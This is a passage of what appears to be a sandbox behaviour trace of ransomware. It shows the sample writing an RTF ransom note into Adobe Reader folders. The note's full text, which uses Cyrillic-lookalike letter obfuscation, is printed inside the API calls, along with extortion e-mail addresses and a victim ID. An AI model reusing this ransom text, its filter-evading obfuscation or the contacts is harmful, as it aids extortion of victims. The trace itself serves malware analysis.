urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\no", lpUsedDefaultChar=0x0) returned 14086 [0040.883] WriteFile (in: hFile=0x1d4, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.884] CloseHandle (hObject=0x1d4) returned 1 [0040.884] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\!bwng_info!.rtf")) returned 0xffffffff [0040.884] GetLastError () returned 0x2 [0040.884] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us 